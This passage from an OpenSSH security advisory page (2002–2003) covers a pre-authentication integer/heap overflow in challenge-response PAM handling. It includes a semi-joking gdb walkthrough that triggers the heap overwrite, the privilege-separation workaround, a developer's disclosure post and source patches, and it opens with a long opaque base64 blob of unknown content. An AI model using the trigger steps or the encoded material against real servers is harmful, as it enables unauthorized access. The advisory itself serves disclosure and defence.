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 Update (06 January 2003) ====== From Mickey Mouse Hacking Squadron [mmhs@hushmail.com] (hmmm sounds like goobles :-) ) advisory : The following proof of concept is reproducing Global InterSec LLC findings, enhanced with the patented research performed by Mickey Mouse Hacking Squadron against OpenSSH 3.5p1. First of all, the OpenSSH 3.5p1 server has to be built (with PAM support enabled): $ tar xzf openssh-3.5p1.tar.gz $ cd openssh-3.5p1 $ configure --with-pam [...] $ make sshd [...] Before the SSH server is actually executed, the sshd_config file should be modified in order to enable PAM ("PAMAuthenticationViaKbdInt yes"). # sshd In order to reveal the nature of the OpenSSH vulnerability, the next step is to connect to the SSH server: $ ssh werewolf.research.mmhs.com Password: Thanks to the "Password:" prompt, it is clear that PAM is actually enabled (otherwise, the prompt would have been "user@host's password:"). This unique fingerprinting technique was investigated by Mickey Mouse Hacking Squadron, and is already present in the latest version of the Mickey Mouse Hacking Squadron award winning network vulnerability assessment tool. After the previous command was executed, the freshly spawned sshd process has to be examined with a debugger, in order to set the correct breakpoints within the input_userauth_info_response_pam() function of OpenSSH, as demonstrated in the Global InterSec LLC advisory: # gdb sshd 6552 (gdb) disassemble input_userauth_info_response_pam [...] 0x80531bc <input_userauth_info_response_pam+192>: push %esi 0x80531bd <input_userauth_info_response_pam+193>: call 0x807306c <xfree> [...] (gdb) break *0x80531bd Breakpoint 1 at 0x80531bd: file auth2-pam.c, line 158. (gdb) continue Continuing. Now that the buggy call to xfree() can be intercepted, the SSH client should trigger the integer overlow and the resulting heap overflow: $ ssh werewolf.research.mmhs.com Password: <type a thousand 'A' characters here and hit enter> After that, the xfree() breakpoint is reached, and the next call to free() should therefore be intercepted in order to comply with the technique developed by Global InterSec LLC: Breakpoint 1, 0x080531bd in input_userauth_info_response_pam (type=61, seqnr=7, ctxt=0x809c050) at auth2-pam.c:158 158 xfree(resp); (gdb) disassemble xfree [...] 0x807308e <xfree+34>: call 0x804ba14 <free> [...] (gdb) break *0x807308e Breakpoint 2 at 0x807308e: file xmalloc.c, line 55. (gdb) continue Continuing. Breakpoint 2, 0x0807308e in xfree (ptr=0x809dfb8) at xmalloc.c:55 55 free(ptr); (gdb) x /10x 0x809dfb8 0x809dfb8: 0x41414141 0x41414141 0x41414141 0x41414141 0x809dfc8: 0x41414141 0x41414141 0x41414141 0x41414141 0x809dfd8: 0x41414141 0x41414141 From here on, as demonstrated by Global InterSec LLC, exploitation becomes trivial. For more information on exploiting calls to free() see the excellent Phrack article "Once upon a free()" [2]. WORK AROUND ? ----------- As mentioned in http://www.openssh.com/txt/preauth.adv, and as demonstrated by noir in http://www.phrack.org/phrack/60/p60-0x06.txt, "you can prevent privilege escalation if you enable UsePrivilegeSeparation in sshd_config." SOLUTION Post from Theo: I can say that when OpenSSH's sshd(8) is running with priv seperation, the bug cannot be exploited. OpenSSH 3.3p was released a few days ago, with various improvements but in particular, it significantly improves the Linux and Solaris support for priv sep. However, it is not yet perfect. Compression is disabled on some systems, and the many varieties of PAM are causing major headaches. However, everyone should update to OpenSSH 3.3 immediately, and enable priv seperation in their ssh daemons, by setting this in your /etc/ssh/sshd_config file: UsePrivilegeSeparation yes Depending on what your system is, privsep may break some ssh functionality. However, with privsep turned on, you are immune from at least one remote hole. Understand? 3.3 does not contain a fix for this upcoming bug. If priv seperation does not work on your operating system, you need to work with your vendor so that we get patches to make it work on your system. Our developers are swamped enough without trying to support the myriad of PAM and other issues which exist in various systems. You must call on your vendors to help us. Basically, OpenSSH sshd(8) is something like 27000 lines of code. A lot of that runs as root. But when UsePrivilegeSeparation is enabled, the daemon splits into two parts. A part containing about 2500 lines of code remains as root, and the rest of the code is shoved into a chroot-jail without any privs. This makes the daemon less vulnerable to attack. We've been trying to warn vendors about 3.3 and the need for privsep, but they really have not heeded our call for assistance. They have basically ignored us. Some, like Alan Cox, even went further stating that privsep was not being worked on because "Nobody provided any info which proves the problem, and many people dont trust you theo" and suggested I "might be feeding everyone a trojan" (I think I'll publish that letter -- it is just so funny). HP's representative was downright rude, but that is OK because Compaq is retiring him. Except for Solar Designer, I think none of them has helped the OpenSSH portable developers make privsep work better on their systems. Apparently Solar Designer is the only person who understands the need for this stuff. So, if vendors would JUMP and get it working better, and send us patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday which supports these systems better. So send patches by Thursday night please. Then on Tuesday or Wednesday the complete bug report with patches (and exploits soon after I am sure) will hit BUGTRAQ. Let me repeat: even if the bug exists in a privsep'd sshd, it is not exploitable. Clearly we cannot yet publish what the bug is, or provide anyone with the real patch, but we can try to get maximum deployement of privsep, and therefore make it hurt less when the problem is published. So please push your vendor to get us maximally working privsep patches as soon as possible! We've given most vendors since Friday last week until Thursday to get privsep working well for you so that when the announcement comes out next week their customers are immunized. That is nearly a full week (but they have already wasted a weekend and a Monday). Really I think this is the best we can hope to do (this thing will eventually leak, at which point the details will be published). Customers can judge their vendors by how they respond to this issue. OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. On OpenBSD privsep works flawlessly, and I have reports that is also true on NetBSD. All other systems appear to have minor or major weaknesses when this code is running. Update (27 June 2002) ====== Solar Designer adds : for the privilege-separated OpenSSH sshd, please refer to Niels Provos' web page on the topic: http://www.citi.umich.edu/u/provos/ssh/privsep.html Patch provided by Markus Friedl : Index: auth2-chall.c =================================================================== RCS file: /cvs/src/usr.bin/ssh/auth2-chall.c,v retrieving revision 1.18 diff -u -r1.18 auth2-chall.c --- auth2-chall.c 19 Jun 2002 00:27:55 -0000 1.18 +++ auth2-chall.c 26 Jun 2002 09:37:03 -0000 @@ -256,6 +256,8 @@ authctxt->postponed = 0; /* reset */ nresp = packet_get_int(); + if (nresp > 100) + fatal("input_userauth_info_response: nresp too big %u", nresp); if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) B: Index: auth2-pam.c =================================================================== RCS file: /var/cvs/openssh/auth2-pam.c,v retrieving revision 1.12 diff -u -r1.12 auth2-pam.c --- auth2-pam.c 22 Jan 2002 12:43:13 -0000 1.12 +++ auth2-pam.c 26 Jun 2002 10:12:31 -0000 @@ -140,6 +140,15 @@ nresp = packet_get_int(); /* Number of responses. */ debug("got %d responses", nresp); + + if (nresp != context_pam2.num_expected) + fatal("%s: Received incorrect number of responses " + "(expected %u, received %u)", __func__, nresp, + context_pam2.num_expected); + + if (nresp > 100) + fatal("%s: too many replies", __func__); + for (i = 0; i < nresp; i++) { int j = context_pam2.prompts[i]; Update (06 January 2003) ====== No further comments yet.